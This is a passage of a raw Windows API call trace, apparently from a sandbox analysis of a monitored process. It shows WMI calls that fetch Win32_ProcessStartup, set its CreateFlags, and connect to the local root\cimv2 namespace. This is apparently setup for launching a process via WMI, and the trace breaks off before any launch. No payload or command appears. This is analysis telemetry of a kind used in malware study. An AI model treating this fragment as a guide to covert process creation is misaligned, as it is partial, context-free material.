SysStringLen (param_1=0x0) returned 0x0 [0140.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0140.399] WbemDefPath:IWbemPath:GetText (in: This=0x1bc953b0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0140.399] IWbemServices:GetObject (in: This=0x1bcc66c0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa28520, ppCallResult=0x0) returned 0x0 [0140.401] IWbemClassObject:Get (in: This=0x1aa28520, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0140.401] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0140.401] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0140.401] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0140.401] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0140.401] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0140.401] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.403] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc4500) returned 0x0 [0140.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4500, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0140.403] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4500, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc95530) returned 0x0 [0140.404] WbemDefPath:IUnknown:Release (This=0x1bcc4500) returned 0x0 [0140.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc95530) returned 0x0 [0140.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0140.404] WbemDefPath:IUnknown:AddRef (This=0x1bc95530) returned 0x3 [0140.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0140.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0140.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc4520) returned 0x0 [0140.404] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.404] WbemDefPath:IUnknown:Release (This=0x1bcc4520) returned 0x3 [0140.404] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0140.404] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0140.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0140.404] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x2 [0140.404] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x1 [0140.405] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0140.405] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0140.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95530, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc95530) returned 0x0 [0140.405] WbemDefPath:IUnknown:AddRef (This=0x1bc95530) returned 0x3 [0140.405] WbemDefPath:IUnknown:Release (This=0x1bc95530) returned 0x2 [0140.405] WbemDefPath:IWbemPath:SetText (This=0x1bc95530, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0140.405] IWbemClassObject:Get (in: This=0x1aa28520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8958*=0, plFlavor=0x28c895c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8958*=19, plFlavor=0x28c895c*=0) returned 0x0 [0140.405] IWbemClassObject:Get (in: This=0x1aa28520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8958*=19, plFlavor=0x28c895c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28c8958*=19, plFlavor=0x28c895c*=0) returned 0x0 [0140.405] IWbemClassObject:Put (This=0x1aa28520, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0140.405] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc952f0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0140.405] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.405] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0140.405] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.405] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0140.406] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0140.406] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0140.406] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.407] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bcc46c0) returned 0x0 [0140.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc46c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0140.408] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc46c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc955f0) returned 0x0 [0140.408] WbemDefPath:IUnknown:Release (This=0x1bcc46c0) returned 0x0 [0140.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc955f0) returned 0x0 [0140.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:AddRef (This=0x1bc955f0) returned 0x3 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bcc4700) returned 0x0 [0140.409] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.409] WbemDefPath:IUnknown:Release (This=0x1bcc4700) returned 0x3 [0140.409] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0140.409] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x2 [0140.409] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x1 [0140.409] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0140.409] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc955f0) returned 0x0 [0140.409] WbemDefPath:IUnknown:AddRef (This=0x1bc955f0) returned 0x3 [0140.409] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x2 [0140.409] WbemDefPath:IWbemPath:SetText (This=0x1bc955f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0140.409] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0140.409] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0140.409] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.409] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0140.410] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0140.410] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0140.410] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.411] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bcc4800) returned 0x0 [0140.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4800, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0140.411] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc4800, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bcc4820) returned 0x0 [0140.411] WbemLocator:IUnknown:Release (This=0x1bcc4800) returned 0x0 [0140.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bcc4820) returned 0x0 [0140.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0140.411] WbemLocator:IUnknown:AddRef (This=0x1bcc4820) returned 0x3 [0140.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0140.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0140.411] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0140.411] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0140.412] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0140.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0140.412] WbemLocator:IUnknown:Release (This=0x1bcc4820) returned 0x2 [0140.412] WbemLocator:IUnknown:Release (This=0x1bcc4820) returned 0x1 [0140.412] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0140.412] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0140.412] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4820, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bcc4820) returned 0x0 [0140.412] WbemLocator:IUnknown:AddRef (This=0x1bcc4820) returned 0x3 [0140.412] WbemLocator:IUnknown:Release (This=0x1bcc4820) returned 0x2 [0140.412] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0140.412] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0140.412] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.412] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bcc4840) returned 0x0 [0140.412] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc4840, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bcc6ab0) returned 0x0 [0140.513] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6ab0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bc43460) returned 0x0 [0140.513] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc43460, pProxy=0x1bcc6ab0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0140.513] WbemLocator:IUnknown:Release (This=0x1bc43460) returned 0x1 [0140.513] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6ab0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bc434a0) returned 0x0 [0140.513] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6ab0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bc43460) returned 0x0 [0140.513] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc43460, pProxy=0x1bcc6ab0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.513] WbemLocator:IUnknown:Release (This=0x1bc43460) returned 0x2 [0140.513] WbemLocator:IUnknown:Release (This=0x1bc434a0) returned 0x1 [0140.513] CoTaskMemFree (pv=0x1bcc2bc0) [0140.514] WbemLocator:IUnknown:AddRef (This=0x1bcc6ab0) returned 0x2 [0140.514] WbemLocator:IUnknown:Release (This=0x1bcc4840) returned 0x0 [0140.514] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0140.514] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0140.514] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6ab0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc43470) returned 0x0 [0140.514] WbemLocator:IRpcOptions:Query (in: This=0x1bc43470, pPrx=0x1bcc48c0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0140.514] WbemLocator:IUnknown:Release (This=0x1bc43470) returned 